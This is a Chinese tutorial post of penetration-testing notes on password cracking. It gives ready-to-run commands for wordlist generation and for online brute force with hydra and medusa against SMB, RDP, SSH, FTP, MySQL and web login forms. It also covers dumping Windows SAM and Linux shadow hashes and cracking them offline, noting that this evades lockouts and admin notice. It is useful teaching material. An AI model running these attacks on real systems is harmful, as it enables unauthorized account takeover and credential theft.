第十三章 密码破解

这一生的挚爱 提交于 2019-11-29 08:12:41

思路
目标系统实施了强安全措施
  – 安装了所有补丁
  – 无任何已知漏洞
  – 无应用层漏洞
  – 攻击面最小化
社会工程学
获取目标系统用户身份
  – 非授权用户不受信,认证用户可以访问守信资源
  – 已有用户账号权限受限,需要提权
  – 不会触发系统报警

身份认证方法
证明你是你声称你是的那个人
  – 你知道什么(账号密码、pin、passphrase)
  – 你有什么(令牌、token、key、证书、密宝、手机)
  – 你是谁(指纹、视网膜、虹膜、掌纹、声纹、面部识别)
  – 以上方法结合使用(多因素身份认证)
基于互联网的身份验证仍以账号密码为主要形式

密码破解方法
人工猜解
  – 垃圾桶工程
  – 被动信息收集
基于字典暴力破解(主流)
键盘空间字符暴破
字典
  – 保存有用户名和密码的文本文件
  – /usr/share/wordlist
  – /usr/share/wfuzz/wordlist
  – /usr/share/seclists

字典
键盘空间字符爆破
  – 全键盘空间字符
  – 部分键盘空间字符 (基于规则)
  – 数字、小写字母、大写字母、符号、空格、瑞典字符、高位ASCII码
crunch <min-len> <max-len> [<charset string>] [options]
  – <charset string> 默认是小写字符
crunch 6 6 0123456789 -o START -d 2 -b 1mb / -c 100
  – -b 按大小分割字典文件(kb/kib、mb/mib、gb/gib)
  – -c 每个字典的行数
  – 以上两个参数必须与-o START 结合使用
  – -d 同一字符连贯出现数量(11 / aaa)

字符集
  – crunch 4 4 -f /usr/share/crunch/charset.lst lalpha-sv -o 1.txt
无重复字符
  – crunch 1 1 -p 1234567890 | more
  – 必须是最后一个参数
  – 最大、最小字符长度失效,但必须存在
  – 与-s 参数不兼容(-s 指定起始字符串)
  – crunch 4 4 0123456789 -s 9990
读取文件中每行内容作为基本字符生成字典
  – crunch 1 1 -q read

字典组成规则
  – crunch 6 6 -t @,%%^^ | more
  – @:小写字母 lalpha
  – ,:大写字母 ualpha
  – %:数字 numeric
  – ^:符号 symbols
输出文件压缩
  – crunch 4 4 -t @,%^ -o 1.txt -z 7z
  – 其他压缩格式:gzip、bzip2、lzma
  – 7z压缩比率最大

crunch 4 4 -f /usr/share/crunch/charset.lst mixalpha-numeric-all-space -o w.txt -t @d@@ -s cdab
crunch 4 5 -p dog cat bird
crunch 5 5 abc DEF + \!@# -t ,@^%,
  – + 占位符
  – \ 转义符(空格、符号)
crunch 5 5 -t ddd%% -p dog cat bird
  – 任何不同于-p 参数指定的值都是占位符
crunch 5 5 -d 2@ -t @@@%%

组合应用
  – crunch 2 4 0123456789 | aircrack-ng a.cap -e MyESSID -w -
  – crunch 10 10 12345 --stdout | airolib-ng testdb -import passwd -

按个人信息生成其专属的密码字典
CUPP:Common User Password Profiler
  – git clone https://github.com/Mebus/cupp.git
  – python cup.py -i

通过收集网站信息生成字典
cewl 1.1.1.1 -m 3 -d 3 -e -c -v -w a.txt
  – -m:最小单词长度
  – -d:爬网深度
  – -e:收集包含email地址信息
  – -c:每个单词出现次数
  – 支持基本、摘要 身份认证
  – 支持代理

用户密码变型
  – 基于 cewl 的结果进行密码变型
  – 末尾增加数字串
  – 字母大小写变化
  – 字母与符号互相转换
  – 字母与数字互相转换
  – P@$$w0rd

使用 John the Ripper 配置文件实现密码动态变型
/etc/john/john.conf
  – [List.Rules:Wordlist]
  – $[0-9]$[0-9]$[0-9]
  – john --wordlist=cewl.txt --rules --stdout > m.txt
  – [List.Rules:test]
  $[0-9]$[0-9]$[0-9]$[a-zA-Z]
  $[0-9]$[0-9]$[0-9]$[a-zA-Z]$[a-zA-Z]$[a-zA-Z]$[`~!@#$%^&*()\-_=+]
  – john --wordlist=cewl.txt --rules=test --stdout > m.txt
  – john --wordlist=ahm.lst --rules=test HASHFILE

在线密码破解——hydra
Hydra
  – 九头蛇,砍去一个头即长出新头,后为大力神赫拉克勒斯所杀

Windows密码破解
  – hydra -l administrator -P pass.lst smb://1.1.1.1/admin$ -vVd
  – hydra -l administrator -P pass.lst rdp://1.1.1.1 -t 1 -vV
Linux密码破解
  – hydra -l root -P pass.lst ssh://1.1.1.1 -vV
其他服务密码破解
  – hydra -L user.lst -P pass.lst ftp://1.1.1.1 -s 2121 -e nsr -o p.txt -t 64
图形化界面
  – xhydra

HTTP表单身份认证
  – hydra -l admin -P pass.lst 1.1.1.1 http-post-form    "/dvwa/login.php:username=^USER^&password=^PASS^&Login=Lin:S=index.php" -V
  – hydra -l admin -P pass.lst 1.1.1.1 http-post-form    "/dvwa/login.php:username=^USER^&password=^PASS^&Login=Lin:Login Failed" -V
  – /foo.php:user=^USER^&pass=^PASS^:S=success:C=/page/cookie:H=X-Foo: Foo
    C:先访问指定页面取得cookie
    H:指定http头
– https-post-form、http-get-form、https-get-form
– -S:使用SSL连接

pw-inspector
  – 按长度和字符集筛选字典
  – pw-inspector -i /usr/share/wordlists/nmap.lst -o p.lst -l
  – pw-inspector -i /usr/share/wordlists/nmap.lst -o P.lst -u
密码破解效率
  – 密码复杂度(字典命中率)
  – 带宽、协议、服务器性能、客户端性能
  – 锁定阈值
  – 单位时间最大登陆请求次数

 

在线密码破解——medusa

Hydra 的缺点
  – 稳定性差,程序时常崩溃
  – 速度控制不好,容易触发服务屏蔽或锁死机制
  – 每主机新建进程,每服务新建实例
  – 大量目标破解时性能差
Medusa 的特点
  – 稳定性好
  – 速度控制得当
  – 基于线程
  – 支持模块少于hydra(不支持RDP)
  – WEB-Form支持存在缺陷

medusa -d
破解windows密码
– medusa -M smbnt -h 1.1.1.1 -u administrator -P pass.lst -e ns -F
破解Linux SSH密码
– medusa -M ssh -h 192.168.20.10 -u root -P pass.lst -e ns –F
其他服务密码破解
  – medusa -M mysql -h 1.1.1.1 -u root -P pass.lst -e ns -F
  – medusa -h 1.1.1.1 -u admin -P pass.lst -M web-form -m     FORM:"dvwa/login.php" -m DENY-SIGNAL:"login.php" -m FORM-DATA:"post?user=username&pass=password&Login=Login"

-n:非默认端口
-s:使用SSL连接
-T:并发主机数
medusa -M ftp -q

 

离线密码破解
身份认证
  – 禁止明文传输密码
  – 每次认证使用HASH算法加密密码传输(HASH算法加密容易、解密困难)
  – 服务器端用户数据库应加盐加密保存
破解思路
  – 嗅探获取密码HASH
  – 利用漏洞登陆服务器并从用户数据库获取密码HASH
  – 识别HASH类型
    长度、字符集
  – 利用离线破解工具碰撞密码HASH

优势
  – 离线不会触发密码锁定机制
  – 不会产生大量登陆失败日志引起管理员注意
HASH识别工具
  – hash‐identifier
  – Hashid
  – 可能识别错误或无法识别

Windows HASH获取工具
  – 利用漏洞:Pwdump、fgdump、 mimikatz、wce
  – 物理接触:samdump2
  – Kali ISO 启动虚拟机
  – mount /dev/sda1 /mnt
  – cd /mnt/Windows/System32/config
  – samdump2 SYSTEM SAM -o sam.hash
  – 利用nc传输HASH

Syskey工具
  – 使用Bootkey利用RC4算法加密SAM数据库
  – Bootkey保存于SYSTEM文件中
  – Bkhive
    从SYSTEM文件中提取bootkey
    Kali 2.0 抛弃了bkhive
    编译安装 :http://http.us.debian.org/debian/pool/main/b/bkhive/
    bkhive SYSTEM key
    samdump2 SAM key (版本已更新,不再支持此功能)
  – 建议使用 Kali 1.x

离线密码破解——Hashcat
开源多线程密码破解工具
支持80多种加密算法破解
基于CPU的计算能力破解
六种模式
  – 0 Straight:字典破解
  – 1 Combination:将字典中密码进行组合(1 2 > 11 22 12 21)
  – 2 Toggle case:尝试字典中所有密码的大小写字母组合
  – 3 Brute force:指定字符集(或全部字符集)所有组合
  – 4 Permutation:字典中密码的全部字符置换组合(12 21)
  – 5 Table-lookup:程序为字典中所有密码自动生成掩码

命令
  – hashcat -b
  – hashcat -m 100 hash.dump pass.lst
  – hashcat -m 0 hash.txt -a 3 ?l?l?l?l?l?l?l?l?d?d
  – 结果:hashcat.pot
  – hashcat -m 100 -a 3 hash -i --increment-min 6 --increment-max  8 ?l?l?l?l?l?l?l?l
  – ?l = abcdefghijklmnopqrstuvwxyz
  – ?u = ABCDEFGHIJKLMNOPQRSTUVWXYZ
  – ?d = 0123456789
  – ?s = !"#$%&'()*+,-./:;<=>?@[\]^_`{|}~
  – ?a = ?l?u?d?s
  – ?b = 0x00 - 0xff

离线密码破解——oclhashcat
号称世界上最快、唯一的基于GPGPU的密码破解软件
免费开源、支持多平台、支持分布式、150+hash算法
硬件支持
  – 虚拟机中无法使用
  – 支持 CUDA 技术的Nvidia显卡
  – 支持 OpenCL 技术的AMD显卡
  – 安装相应的驱动
限制
  – 最大密码长度 55 字符
  – 使用Unicode的最大密码长度 27 字符

关于版本
  – oclHashcat-plus、oclHashcat-lite已经合并为oclhashcat
命令
  – oclHashcat -m 0 hash.txt -a 3 ?a?a?a?a?a?a?a
  – ?l = abcdefghijklmnopqrstuvwxyz
  – ?u = ABCDEFGHIJKLMNOPQRSTUVWXYZ
  – ?d = 0123456789
  – ?s = !"#$%&'()*+,-./:;<=>?@[\]^_`{|}~
  – ?a = ?l?u?d?s
  – ?b = 0x00 - 0xff

离线密码破解——RainbowCrack
基于时间记忆权衡技术生成彩虹表
提前计算密码的HASH值,通过比对HASH值破解密码
计算HASH的速度很慢,修改版支持CUDA GPU
  – https://www.freerainbowtables.com/en/download/
KALI 中包含的RainbowCrack工具
  – rtgen:预计算,生成彩虹表,耗时的阶段
  – rtsort:对rtgen生成的彩虹表进行排序
  – rcrack:查找彩虹表破解密码
  – 以上命令必须顺序使用

彩虹表
  – 密码明文、HASH值、HASH算法、字符集、明文长度范围
rtgen
  – LanMan、NTLM、MD2、MD4、MD5、SHA1、RIPEMD160
  – rtgen md5 loweralpha 1 5 0 10000 10000 0
  – 计算彩虹表时间可能很长
下载彩虹表
  – http://www.freerainbowtables.com/en/tables/
  – http://rainbowtables.shmoo.com/

彩虹表排序
  – /usr/share/rainbowcrack
  – rtsort /md5_loweralpha#1-5_0_1000x1000_0.rt
密码破解
  – rcrack *.rt -h 5d41402abc4b2a76b9719d911017c592  
  – rcrack *.rt -l hash.txt

离线密码破解——John
支持众多服务应用的加密破解
  – john --list=formats
支持某些对称加密算法破解
模式
  – Wordlist:基于规则的字典破解
  – Single crack:默认被首先执行,使用Login/GECOS信息尝试破解
  – Incremental:所有或指定字符集的暴力破解
  – External:需要在主配配文件中用C语言子集编程

默认破解模式
  – Single、wordlist、incremental
  – 主配置文件中指定默认wordlist


破解Linux系统账号密码
  – unshadow /etc/passwd /etc/shadow > pass.txt
  – john pass.txt
  – john --show pass

破解windows密码
  – john sam.dump --wordlist=password.lst --format=nt
  – john sam.dump --format=nt --show
Johnny 图形化界面的john

 

易学教程内所有资源均来自网络或用户发布的内容,如有违反法律规定的内容欢迎反馈
该文章没有解决你所遇到的问题?点击提问,说说你的问题,让更多的人一起探讨吧!